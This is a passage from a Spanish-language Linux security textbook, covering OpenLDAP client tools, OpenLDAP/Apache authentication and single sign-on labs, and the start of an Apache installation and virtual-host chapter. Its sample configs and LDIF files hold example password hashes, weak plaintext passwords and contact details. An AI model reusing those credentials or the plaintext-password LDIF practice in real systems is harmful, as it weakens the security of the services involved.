Parte II, Captulo 11 Asegurando los servicios de red - LDAP

En el campo User DN: digite uid=Armando Carvajal, dc=bat para indicar el usuario que se autenticara
contra el servidor OpenLdap. Este usuario debe existir en la base de datos.

En el campo Filter escriba la cadena para filtrar los objetos a seleccionar, la cadena de caracteres ms
general es objectClass=*.

280

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Finalmente el password del usuario para autenticarse contra el servidor.

Estas son las filas de la base de datos que dependen de la llave principal o DN: dc=bat

281

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

El sistema permite hacer clic sobre el registro que se desea visualizar o ver en forma detallada.

Sobre el campo seleccionado permite operaciones como ver las propiedades del atributo o campo, en la
versin licenciada se permite modificar o borrar campos y hasta registros.

Algo interesante en este software son las ayudas pues guan a los usuarios en la solucin de problemas ms
comunes as como la teora ms general sobre LDAP.

282

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Esta es una de las consultas mas frecuentes pues se indica la cadena DN que se debe usar para acceder al
servidor Active Directory de Microsft Windows 2000.

9.2 LDAP Explorer


Es una versin OpenSource muy rpida que adems permite modificar los campos o atributos de los
registros. Actualmente no permite adicionar nuevos registros al sistema.

Al instalarlo quedara en el escritorio en Programas, LDAP Explorer Tools

Digite en SERVER el IP del servidor donde reside el servicio OpenLDAP, para este caso 192.168.100.55. En
el campo SERVER TYPE seleccione OpenLDAP, en PORT digite el nmero del puerto por donde escucha el
servidor OpenLDAP, generalmente es el 389. En el campo Root DN digite la cadena DN por ejemplo dc=bat
para indicar el dominio bat de la organizacin BAT.
En el campo User name: digite uid=Armando Carvajal, dc=bat para indicar el usuario que se autenticara
contra el servidor OpenLdap. Este usuario debe existir en la base de datos.

283

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Estas son las filas de la base de datos que dependen de la llave principal o DN: dc=bat

Sobre el campo seleccionado permite operaciones como ver las propiedades del atributo o campo, permite
modificar o borrar campos pero no permite borrar registros.

284

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

285

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

10.0 Laboratorio:

Configuracin del servidor OpenLdap sin crear nuevos schemas

Problema

Creacin de una base de datos para autenticar usuarios contra LDAP


Se debe autenticar usuarios LDAP contra el servidor web Apache
No se deben crear nuevos esquemas, se deben usar los que ya trae ldap

Paso 1: Prerequisitos

Instale openldap segn lo aprendido o use el que viene con el sistema linux
Verifique la ruta de instalacin del producto, es bueno recordar que al instalarlo manualmente
desde un formato tarbal este quedara en /usr/local/etc/openldap
Revise que el ejecutable del servicio OpenLdap exista (/usr/lib/openldap/slapd si ya esta
preinstalado en SLES /usr/local/libexec/slapd si lo instal manualmente)
Apache debe estar configurado para soportar autenticacin LDAP

Paso 2: Genere el password del administrador


# slappasswd s sistemas > archivo1

Paso 3: Edite el archivo /etc/openldap/slapd.conf (/usr/local/etc/slapd.conf)


Asegurase que estn como mnimo los siguientes datos de configuracin para SLES:
include
include
include

/etc/openldap/schema/core.schema
/etc/openldap/schema/cosine.schema
/etc/openldap/schema/inetorgperson.schema

pidfile
argsfile

/var/run/slapd/slapd.pid
/var/run/slapd/slapd.args

password-hash
database
suffix
rootdn
rootpw
directory

{SSHA}
hdb
o=Acis,c=CO
uid=acarvaja,o=Acis,c=CO
{SSHA}hBEW48ok74TN7Tx79F66XSZrjI/x7ur3
/var/lib/ldap

sizelimit
threads
timelimit
index
index

unlimited
32
unlimited
uid eq,pres,sub
objectClass

eq

Este cdigo puede ser introducido a travs del editor vi, mc o su preferido.
Para mas informacin sobre vi digite man vi.

Paso 4: Verifique que el servicio esta apagado:


Para apagar el servicio use el comando:
# killall slapd
Verifique los puertos ldap para saber si el servicio esta apagado.

Paso 5: Prepare el archivo de carga de datos:


Con el comando vi o mc cree un archivo denominado bd.ldif.ssha:
dn:

o=Acis,c=CO

286

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

o:
postalAddress:
objectclass:

Acis
Calle 93 con 13A
organization

dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:

uid=acarvaja,o=Acis,c=CO
Armando
Carvajal
acarvaja
{SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
Armando Carvajal - sistemas
acarvaja@acis.org.co
77036182
571 528 3101
InetOrgPerson

dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:

uid=yolanda,o=Acis,c=CO
Yolanda
Herrera
yolanda
{SSHA}7RHRyeyVZj6aCr9hWR2eYnMuexBDijtf
Yolanda Herrera - secreto
yolanda@acis.org.co
14794794793274
571 528 3101
InetOrgPerson

dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:

uid=laura,o=Acis,c=CO
Laura
Carvajal
laura
{SSHA}2BwPxdRNOGV95c3QsA9DwivHN+UaL+tf
Laura Carvajal Rodriguez - sistemas2003
laura@acis.org.co
123456
571 528 3101
InetOrgPerson

Notas importantes:

Observe la lnea en blando entre cada registro DN

Observe la sentencia ObjectClass al final de cvada registro DN.

Paso 6: Cargue los datos verificando que el motor de base de datos openldap no este activado:
# slapadd l bd.ldif.ssha

Paso 7: Pruebe que los datos estn almacenados:


# slapcat

Para iniciar el servicio use la siguiente la sentencia:


# /usr/lib/openldap/slapd -4 h ldap:// ldaps:// -f /etc/openldap/slapd.conf
Verifique los puertos ldap para saber si el servicio esta arriba.
# nmap localhost

287

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Paso 8: Pruebe consultando la base de datos con un cliente desde Windows como JXplorer:

Paso 9: Pruebe que Apache puede autenticarse contra ldap para proteger la carpeta
/usr/local/apache2/htdocs/ldap
En el archivo de configuracin /usr/local/apache2/conf/httpd.conf proteja la carpeta en
mencin:
Alias /ldap "/usr/local/apache2/htdocs/ldap/"
<Directory /usr/local/apache2/htdocs/ldap>
AuthName
"Autenticacion contra LDAP"
AuthType
Basic
AuthzLDAPAuthoritative off
AuthBasicProvider ldap
AuthLDAPUrl
"ldap://localhost:389/o=Acis,c=CO?uid?sub?(objectClass=*)"
require
valid-user
</Directory>
Al navegar mediante un explorador en esa carpeta ldap el apache server debe solicitar un usuario
y una clave.
Por que falla esta autenticacin en las nuevas versiones de apache?

288

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

11.0 Laboratorio: Single Sign On para varias aplicaciones web


Problema
Creacin de un esquema para autenticar usuarios de diferentes aplicaciones contra una nica base de
datos basada en OpenLDAP Single Sign On

Requerimientos funcionales del proyecto

Definicin del nuevo esquema que contenga variables como aplicaciones, usuarios, claves de
acceso e informacin genrica del usuario
Implementacin del nuevo esquema
Creacion de programas web en PHP que permitan la actualizacin de usuarios, aplicaciones y
actualizacin de datos genricos
El sistema debe crear perfiles de usuarios y aplicaciones para que una aplicacin pueda acceder
a LDAP y as saber si el usuario tiene derecho a entrar a esa aplicacin.
El servidor web y el servidor LDAP deben tener activada la seguridad de transmisin de datos
entre servidor y clientes basados en certificados digitales X.509 para evitar la captura pasiva de
datos crticos (Eavesdropping) por usuarios no autorizados en la red
La autenticacin de los usuarios debe ser obligatoria basada en usuario y clave de usuario
registrada en el sistema LDAP
Opcionalmente y bajo parametrizacion de cada usuario se debe solicitar un certificado digital en
formato PKCS12, el usuario debe firmar un texto propuesto por el sistema, el sistema debe
verificar el texto firmado contra una PKI para garantizar la autenticidad del usuario que desa
acceder al sistema
Opcionalmente y bajo parametrizacion de cada usuario se debe solicitar autenticacin por huella
dactilar, si coincide la huella dactilar digitada contra la base de datos ldap se le dara acceso al
usuario

Actividades a desarrollar

Instalacin y configuracin de Linux


Configuracin del DNS Local
Configuracin de Apache
Configuracin de Open SSL sobre Apache
Configuracin de Open LDAP
Configuracin de SSL para Open LDAP
Creacin del schema de datos para Open LDAP
Digitar en archivo plano los datos de los usuarios actuales que se migraran al nuevo sistema
Elaborar shell de migracin de planos hacia formato LDIF
Importar desde un archivo plano los usuarios hacia Open Ldap basados en el archivo anterior
Elaborar programas de gestin de la informacin almacenada en PHP
Crear un webservice que mediante firma digital permita consultar si un usuario puede acceder a
una aplicacin, o que aplicaciones puede acceder un usuario especifico
Se debe hacer un anlisis de vulnerabilidades de aplicaciones para buscar fallas o
vulnerabilidades
Se deben remediar las fallas encontradas

289

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Paso 1: Todas las actividades deben realizarse en un nico servidor de aplicaciones y web

El proyecto web debe residir en el directorio /usr/local/apache/htdocs/lacositarica


Los archivos de configuracin residirn en /usr/local/apache/htdocs/lacositarica/conf
Las libreras PHP residirn en /usr/local/apache/htdocs/lacositarica/lib
Los programas web para hacer la gestin residirn en /usr/local/apache/htdocs/lacositarica/sso

Paso 2: Definicin del nuevo schema


Se crea el esquema llamado: sso.schema
# ---------------------------------------------------------# Datos para tabla de usuarios que se van a autenticar
# ---------------------------------------------------------attributetype ( 1.3.6.1.4.1.1466.5.1 NAME 'nombreSSO'
DESC 'Nombre de la persona en formato largo'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.2 NAME 'identificacionSSO'
DESC 'Identificacion de la persona'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.3 NAME 'telefonoSSO'
DESC 'Telefono del usuario: 2181500'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.4 NAME 'correoSSO'
DESC 'e-mail del usuario: acarvaja@lacositarica.com.co'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.5 NAME 'correoaltSSO'
DESC 'Correo alterno para recuperar claves'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.6 NAME 'tipoUsuarioSSO'
DESC 'Tipo de usuario: Final, Administrador, Operador, etc'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
# ---------------------------------------------------------# Datos para tabla de servicios
# ---------------------------------------------------------attributetype ( 1.3.6.1.4.1.1466.5.50 NAME 'codigoServicioSSO'
DESC 'Codigo del servicio: Correo, Galeria, Blog'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.51 NAME 'nombreServicioSSO'
DESC 'Nombre/descripcion del servicio: Correo electronico, Galeria Grafica, Blog de usuario'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.52 NAME 'tipoServicioSSO'
DESC 'Tipo de servicio: Pub=Publico, Pri=Privado'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
# ---------------------------------------------------------# Datos para auditoria y compatibilidad con MS AD
# ----------------------------------------------------------

290

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

attributetype ( 1.3.6.1.4.1.1466.5.70 NAME 'bloqueadoSSO'


DESC 'Estado de bloqueo equivalente a lockOuTtime de MS Window 0=No bloqueado'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
attributetype ( 1.3.6.1.4.1.1466.5.71 NAME 'activoSSO'
DESC 'Estado de activado o desactivado equivalente a userAccountControl 512 = Activado'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
# ---------------------------------------------------------------# Tabla: Servicios que presta la organizacion
# Objetivo : Contiene los servicios publicos y privados
# ou=servicios
# ---------------------------------------------------------------objectclass ( 1.3.6.1.4.1.1466.5.80 NAME 'servicioSSO'
DESC 'Tabla: Servicios a prestar'
SUP top
STRUCTURAL
MUST ( codigoServicioSSO )
MAY ( nombreServicioSSO $ tipoServicioSSO $ bloqueadoSSO ) )
# ---------------------------------------------------------------# Tabla: Perfil del servicio
# Objetivo : Contiene los servicios que un usuario puede acceder
# Es auxiliar como unidad organizacional
# ou=perfiles
# ---------------------------------------------------------------objectclass ( 1.3.6.1.4.1.1466.5.81 NAME 'perfilServicioSSO'
DESC 'Perfil del servicio'
SUP top
STRUCTURAL
MUST ( codigoServicioSSO ))
# ---------------------------------------------------------------# Tabla: Perfil del usuario
# Objetivo : Contiene los servicios que un usuario puede acceder
# ou=perfiles
# ---------------------------------------------------------------objectclass ( 1.3.6.1.4.1.1466.5.82 NAME 'perfilUsuarioSSO'
DESC 'Tabla: Perfil del usuario'
SUP top
STRUCTURAL
MUST ( uid $ codigoServicioSSO )
MAY ( bloqueadoSSO ) )
# ---------------------------------------------------------------# Tabla: usuarios
# Objetivo : Contiene los datos basicos del usuario
#
No se recomienda duplicar aca los datos de las BD
# ---------------------------------------------------------------objectclass ( 1.3.6.1.4.1.1466.5.90 NAME 'usuarioSSO'
DESC 'Tabla: Hoja de vida del usuario'
SUP top
STRUCTURAL
MUST ( uid $ userPassword $ identificacionSSO )
MAY ( nombreSSO $ telefonoSSO $ correoSSO $ correoaltSSO $ tipoUsuarioSSO $ bloqueadoSSO $
activoSSO ) )

Este archivo se copiara hacia la carpeta /etc/openldap/schema

Paso 2: Genere el password del administrador para el archivo slapd.conf


# slappasswd s sistemas > archivo1

291

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Paso 3: Edite el archivo /etc/openldap/slapd.conf


Asegurase que estn como mnimo los siguientes datos:
include
include
include

/etc/openldap/schema/core.schema
/etc/openldap/schema/cosine.schema
/etc/openldap/schema/inetorgperson.schema

# Los usa unicamente Fedora


#include
/etc/openldap/schema/nis.schema
#include
/etc/openldap/schema/redhat/autofs.schema
# Los usa unicamente RedHat
#include
/etc/openldap/schema/redhat/kerberosobject.schema
# Lo usa unicamente sso
include
/etc/openldap/schema/sso.schema
# Formato unicamente En UnitedLinux/SUSE 8.x
#pidfile
/var/run/slapd/slapd.pid
# Formato unicamente En Fedora/RedHat
#pidfile
/var/run/slapd.pid
# En UnitedLinux/SUSE 8.x
#argsfile
/var/run/slapd/slapd.args
# En RedHat/Fedora nunca se debe usar el servicio pues nunca sube
#allow
bind_v2
# Default en UnitedLinux - Siempre es el mas recomendable
password-hash {SSHA}
# Default en Fedora
#password-hash {MD5}
#password-hash {SSHA}
#password-hash {CLEARTEXT}
#password-hash {SHA}
#password-hash {MD5}
#password-hash {SMD5}
#password-hash {CRYPT}
###################################################################
####
# ldbm database definitions
###################################################################
####
#database
#database
#database
#database
#database
database

ldap
ldif
bdb
ldb
ldbm
hdb

suffix
rootdn
#rootpw
#rootpw
#rootpw
#rootpw
rootpw

"dc=lacositarica"
"uid=administrador,ou=users,dc=lacositarica"
{SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
{MD5}EC3a9pHhYV1drNTIYpm/pA==
{CRYPT}zonbrS5mNjC0s
sistemas
{SSHA}ZYLt2uP8RQQQ2A2r7XtiR5S66t60cWBX

# Default en Fedora MD5: secret


#rootpw
{MD5}EC3a9pHhYV1drNTIYpm/pA==

292

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

# Importante para RedHAT AS


# Los permisos deben ser chmod ldap /var/lib/ldap/*
directory

/var/lib/ldap

# Mejora el rendimiento de la base de datos


timelimit
unlimited
sizelimit
unlimited
threads
32
index
objectClass
eq,pres
index
uid
eq,pres
index
codigoserviciosso
eq,pres
index
nombresso
eq,pres
index
correosso
eq,pres
index
telefonosso
eq,pres
index
tipousuariosso
eq,pres
# ---------------------------------------------------------# Certificado de la CA
TLSCACertificateFile
/usr/local/apache2/conf/cacert.pem
# ---------------------------------------------------------# Certificado de la cia
TLSCertificateFile
/usr/local/apache2/conf/server.crt
# ---------------------------------------------------------# Certificado de llave privada
TLSCertificateKeyFile
/usr/local/apache2/conf/server.key
# ---------------------------------------------------------Este cdigo puede ser introducido a travs del editor vi, mc o su preferido.

Paso 4: Apague el servicio openldap


Para apagar el servicio use el comando:
# killall slapd
Verifique los puertos ldap para saber si el servicio esta activo.

Paso 5: Preparar el archivo de carga de datos iniciales


acarvaja:Armando Carvajal:571 493 3802:acarvaja@lacositarica.com.co:sistemas
jloca:Juana La Loca:571 123 456:jloca@lacositarica.com.co:no lo se
jaimey:Jaime Yory:0:jloca@lacositarica.com.co:12345

Paso 6: Programar el shell para convertir datos de archivos planos a formato LDAP
#!/bin/sh
# Programa
: mkldapsso.sh
# Objetivo
: Crea el formato ldif desde archivo plano para cargas masivas
# Nota
: El archivo debe tener permiso de ejecucion
#
: Para dar permiso de ejecucion digite: chmod +x mkldapsso.sh
#
: Para ejecutar -> mkldapsso.sh archivo_plano
#
: La salida en formato ldif se llama mkldapsso.txt
# ----------------------------------------------------------------------------# Formato del archivo plano : Ojo nunca nulos
# ----------------------------------------------------------------------------# login:nombre:telefono:correo:password
# ----------------------------------------------------------------------------if ! [ -r $1 ] ; then
echo Error: El archivo plano [ $1 ] no existe!!
echo Sintaxis: mkldapsso.sh archivo_plano

293

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

exit 1
fi
cat > mkldapsso.txt << EOF
dn: dc=lacositarica
dc: lacositarica
o: Lacositarica
objectClass: dcObject
objectClass: organization
dn: ou=users,dc=lacositarica
ou: users
objectClass: organizationalUnit
dn: ou=servicios,dc=lacositarica
ou: servicios
objectClass: organizationalUnit
dn: ou=perfiles,dc=lacositarica
ou: perfiles
objectClass: organizationalUnit
dn: uid=administrador,ou=users,dc=lacositarica
uid: administrador
userPassword: sistemas
nombreSSO: Administrador
tipoUsuarioSSO: Administrador
objectClass: usuarioSSO
EOF
for i in `cat $1 | tr ' ' +`
do
uid="`echo $i | cut -f1 -d:`"
nombreSSO="`echo $i | cut -f2 -d:`"
telefonoSSO="`echo $i | cut -f3 -d:`"
correoSSO="`echo $i | cut -f4 -d:`"
userPassword="`echo $i | cut -f5 -d:`"
echo dn:
uid=${uid},ou=users,dc=lacositarica | tr + ' ' >> mkldapsso.txt
echo uid:
${uid}
| tr + ' ' >> mkldapsso.txt
echo userPassword:
${userPassword}
| tr + ' ' >> mkldapsso.txt
echo nombreSSO:
${nombreSSO}
| tr + ' ' >> mkldapsso.txt
#if (${telefonoSSO}) then
echo telefonoSSO:
${telefonoSSO}
| tr + ' ' >> mkldapsso.txt
#fi
echo correoSSO:
${correoSSO}
| tr + ' ' >> mkldapsso.txt
echo correoaltSSO:
${correoSSO}
| tr + ' ' >> mkldapsso.txt
echo tipoUsuarioSSO:Final
| tr + ' ' >> mkldapsso.txt
echo bloqueadoSSO: 0
| tr + ' ' >> mkldapsso.txt
echo activoSSO:
512
| tr + ' ' >> mkldapsso.txt
echo objectClass:
usuarioSSO
| tr + ' ' >> mkldapsso.txt
echo "Procesando: $uid"
echo
>> mkldapsso.txt
done
# ----------------------------------------------------------------------------Ejecute el shell digitando:
# ./mkldapsso.sh passwd.txt

Paso 7: Validar los datos convertidos antes de subirlo a la base de datos


dn: dc=lacositarica
dc: lacositarica
o: Lacositarica

294

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

objectClass: dcObject
objectClass: organization
dn: ou=users,dc=lacositarica
ou: users
objectClass: organizationalUnit
dn: ou=servicios,dc=lacositarica
ou: servicios
objectClass: organizationalUnit
dn: ou=perfiles,dc=lacositarica
ou: perfiles
objectClass: organizationalUnit
dn: uid=administrador,ou=users,dc=lacositarica
uid: administrador
userPassword: sistemas
nombreSSO: Administrador
tipoUsuarioSSO: Administrador
objectClass: usuarioSSO
dn: uid=acarvaja,ou=users,dc=lacositarica
uid: acarvaja
userPassword: sistemas
nombreSSO: Armando Carvajal
telefonoSSO: 571 493 3802
correoSSO: acarvaja@lacositarica.com.co
correoaltSSO: acarvaja@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO
dn: uid=jloca,ou=users,dc=lacositarica
uid: jloca
userPassword: no lo se
nombreSSO: Juana La Loca
telefonoSSO: 571 123 456
correoSSO: jloca@lacositarica.com.co
correoaltSSO: jloca@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO
dn: uid=jaimey,ou=users,dc=lacositarica
uid: jaimey
userPassword: 12345
nombreSSO: Jaime Yory
telefonoSSO: 0
correoSSO: jloca@lacositarica.com.co
correoaltSSO: jloca@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO

295

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Paso 8: Inicie el servicio con la nueva configuracin slapd.conf


Para iniciar el servicio use la siguiente sentencia:
# /usr/lib/openldap/slapd -4 h ldap:// ldaps:// -f /etc/openldap/slapd.conf
Verifique los puertos ldap para saber si el servicio esta activo.

Paso 9: Cargue los datos convertidos en formato ldif estando apagado el servidor ldap
# slapadd l mkldapsso.txt

Paso 10: Pruebe que los datos estn almacenados:


# slapcat

Paso 11: Cambie los permisos y suba el servicio


# chown ldap /var/lib/ldap/*
Ahora se podra conectar a LDAP con un cliente Windows por ejemplo.

Paso 12: Pruebe los programas en PHP de gestion de usuario, servicios y perfiles
En un explorador pruebe http://localhost/lacositarica/sso

Paso 13: Haga remediacin y/o blindaje de los servicios de red y mejore los programas PHP para
que hagan autenticacion de 3 factores
Para corregir la vulnerabilidad de LDAP annimo se deben agregar las siguientes lneas en el archivo de
configuracin slapd.conf:
access to *
by anonymous none
by * read
disallow bind_anon

Bibliografa

Understanding And Deploying LDAP Directory Services, Timothy A. Howes Ph.D, New Riders, 1999,
Netscape Communications Corporation, First Edition.
Implementing LDAP, Marck Wilcox, Editorial Wrox.
www.ldapguru.com

296

Captulo 12
Asegurando los servicios de red
Servidor web Apache
1.0

Para que sirve Apache


Sirve para pblicar informacin en el web.
La informacin estar en forma interactiva, dinmica, distribuida, grfica, basada en hipertexto, con
plataformas de enlaces cruzados, que se ejecuta en Internet, intranets y extranets.

2.0

Que clase de informacin se puede pblicar


Informacin personal
Pasatiempos, Pblicaciones, Catlogos de compras
Perfiles de empresas
Documentacin en lnea
Solicitud de seguros
Encuestas y sondeos de opinin
Transacciones bancarias, etc.

3.0

Filosofa

Filosofia
1.
2.
3.
4.

5.

Arquitectura cliente/servidor de dos


niveles.
Browser pide un archivo y el servidor
se lo envia.
Browser interpreta el codigo html.
El servidor dialoga con el cliente por
medio del protocolo http (Hiper
Text Transfer Protocol).
Se pueden ejecutar shell remotos
por medio de cgi, perl, php, java, etc.

Slide 5

Se basa en la arquitectura cliente servidor de dos niveles.


Un cliente o browser pide un archivo y el servidor se lo enva.
El browser del cliente interpreta el cdigo html. (Hiper text markup Language).
El servidor dialoga con el cliente por medio del protocolo http (Hiper Text Transfer Protocol).
Tambin se pueden ejecutar shell remotos por medio de cgi, perl, php, java, etc.

297

Parte II, Captulo 12 Asegurando los servicios de red - Apache

4.0

Como activar el servidor web

Al activar el servicio se creara un shell de inicio en /etc/init.d/rc5.d/Sxxhttpd


Esta opcin hace que en tiempo de arranque se cargue el shell con el argumento start en forma
automtica.
Al iniciar el servicio el demonio httpd buscara el archivo en /etc/httpd/httpd.conf

Activar el servicio
/etc/init.d/httpd
o
el
alias
/etc/init.d/rc5.d/S85httpd.
httpd buscara el archivo
/etc/httpd/httpd.conf
El default es
/usr/local/apache2/conf/httpd.conf

Slide 6

Nota:
La versin 2.x.y que se baja de www.apache.org instala por defecto en /usr/local/apache2/conf/httpd.conf

298

Parte II, Captulo 12 Asegurando los servicios de red - Apache

5.0

6.0

Cuales son los archivos de configuracin?


En Linux Suse 9 existe el archivo /etc/httpd/httpd.conf pues este es el archivo mas importante de
Apache ya que le indica cual debe ser su comportamiento
En apache versin 2 por defecto el archivo de configuracin reside en /usr/local/apache2/conf/httpd.conf
En SUSE 10 el archivo de configuracin se encuentra en: /etc/apache2/httpd.conf
Se configura por secciones o segmentos.
Configura el puerto por donde escucha por ejemplo 80, el directorio de datos para las pginas, logs,
dominios virtuales, etc.
Httpd.conf es ledo en tiempo de arranque
Las pginas html deberan existir en el directorio /srv/www/htdocs pues este es el directorio de datos
donde se almacenan las paginas de los diferentes dominios
Generalmente el archivo principal que identifica la pgina web principal se le denomina index.html.
En apache versin 2 por defecto las pginas residen en /usr/local/apache2/htdocs

Instalacin desde el CDROM

Instalar cd rom
Si no esta preinstalado monte el CDROM
manualmente:
# mount /dev/cdrom / mnt/cdrom
En UnitedLinux mount /media/cdrom
Si tiene una quemadora de CDs
# mount / media/cdrecorder
Instale segn el formato rpm
# rpm hUv apache-3.1.x-1.i386.rpm

Slide 8

Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el CDROM
manualmente:
# mount /dev/cdrom /media/cdrom
En Suse:
# mount /media/cdrom
Si posee una quemadora digite:
# mount /media/cdrecord

Luego instale segn el formato rpm con el comando:


# rpm uHv apache-1.3.xx-x.i386.rpm
Es recomendable instalar cualquier otro archivo que inicie con el apache.

299

Parte II, Captulo 12 Asegurando los servicios de red - Apache

7.0

Consiguiendo la ltima versin

Para obtener una versin ms actualizada debe bajarse la ltima versin desde http://www.apache.org/dist,
actualmente existe la versin 2.0.x, al tenerla en disco localmente se debe instalar con los siguientes
comandos para soportar LDAP y Open SSL:
# tar xzvf http*
# cd http*
#./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
# make
# make install
Nota:

Deben existir las librerias para desarrollo openldap-devel, openssl-devel, apr y apr-util
Verifique que dentro de la carpeta httpd* exista la carpeta srclib y que dentro de esta este la
librera apr

Es importante recordar que la versin 2.0.x que se baja de Internet lee las paginas del directorio
/usr/local/apache2/htdocs y la versin 1.x que ya viene preinstalado lee las pginas desde /srv/www/htdocs
cuando el Linux es SUSE
Si se desea que simultneamente trabajen: la versin 2 la dejamos en el puerto 80 y la versin 1.x en el 88.
El archivo de configuracin de la versin 1.x se encuentra en /etc/httpd/httpd.conf
El archivo de configuracin de la versin 2.x se encuentra en /usr/local/apache2/conf//httpd.conf
Para subir apache 2 en forma automtica:
# ln s /usr/local/apache2/bin/apachectl /etc/rc.d/rc5.d/S99apachectl
Para ejecutar paginas con extensin .php, modifique el parmetro DirectoryIndex:
DirectoryIndex index.html index.html.var index.htm index.php

300

Parte II, Captulo 12 Asegurando los servicios de red - Apache

8.0

Comandos de arranque y apagado

Para iniciar manualmente apache digite:


# apachectl start

Para iniciar manualmente apache con soporte a SSL digite:


# apachectl startssl

Para apagar manualmente apache digite:


# apachectl stop

Para que el sistema operativo inicie en forma automtica apache haga un


link simblico de /usr/sbin/apachectl hacia /etc/rc.d/rc5.d/S99apache.

Es importante aclarar que la S mayscula inicial indica parmetro start


cuando inicie el sistema

9.0

Creacin de dominios Virtuales

Los dominios virtuales permiten que una misma ip en el servidor comparta varias empresas o dominios para
pblicar pginas web independientes en el mismo servidor.
Si se tiene el software webmin ser muy fcil su configuracin:

301

Parte II, Captulo 12 Asegurando los servicios de red - Apache

Vaya al webmin, carpeta server y haga click sobre el icono Apache web server.
Posicionese en Create a new Virtual Server
Llene el formulario con los datos: Address Es el IP que usuar el dominio.
Port (Default si es puerto 80),
Document Root es el directorio donde residirn las paginas web del dominio virtual
Server Name es el nombre del servidor segn la configuracin del DNS server.

Procedimiento Grafico por webmin:


Entre por la terminal grafica KDE y llame a webmin por medio de un browser:
https://localhost:10000

Tome la opcin server.

302

Parte II, Captulo 12 Asegurando los servicios de red - Apache

Tome la opcin Apache Webserver

La primera vez vera los mdulos ms conocidos en tiempo de ejecucin.


Apache es un servidor web modular, este crece en la medida que se le aumentan mdulos.
Presione Continuar y se instalaran los mdulos previamente seleccionados.

303

Parte II, Captulo 12 Asegurando los servicios de red - Apache

Ahora vera las diferentes secciones en que se divide el archivo httpd.conf, para cambiar el puerto de
conexin haga click sobre el icono Networking and Address. Para dominios virtuales Virtual domain y as
sucesivamente. Debe ahora revisar manualmente que el archivo de configuracin muestre la siguiente
informacin.
NameVirtualHost 200.91.221.202
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/unincca
ServerName www.unincca.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/fuac
ServerName www.fuac.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/uniandes
ServerName www.uniandes.edu.co
</VirtualHost>

304

Parte II, Captulo 12 Asegurando los servicios de red - Apache

10.0

Laboratorio:

Objetivo: Configurar los dominios virtuales unincca.edu.co, fuac.edu.co y uniandes.edu.co sobre un mismo
IP 200.91.221.202. El IP 200.91.221.202 es supuesto para este laboratorio, no debera usarlo en cambio
utilice el de su PC.
Prerrequisitos: Crear los dominios virtuales en el dns, los nuevos dominios virtuales se deben crear para el
IP 200.91.221.202
Instale la ltima versin de apache:
# tar xzvf http*
# cd http*
# ./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
# make
# make install
Nota:

Deben existir las librerias para desarrollo openldap-devel, openssl-devel, apr y apr-util
Verifique que dentro de la carpeta httpd* exista la carpeta srclib y que dentro de esta este la
librera apr

Paso 1: Edite el archivo httpd.conf y adicione al final del archivo el IP a compartir, si esta utilizando apache
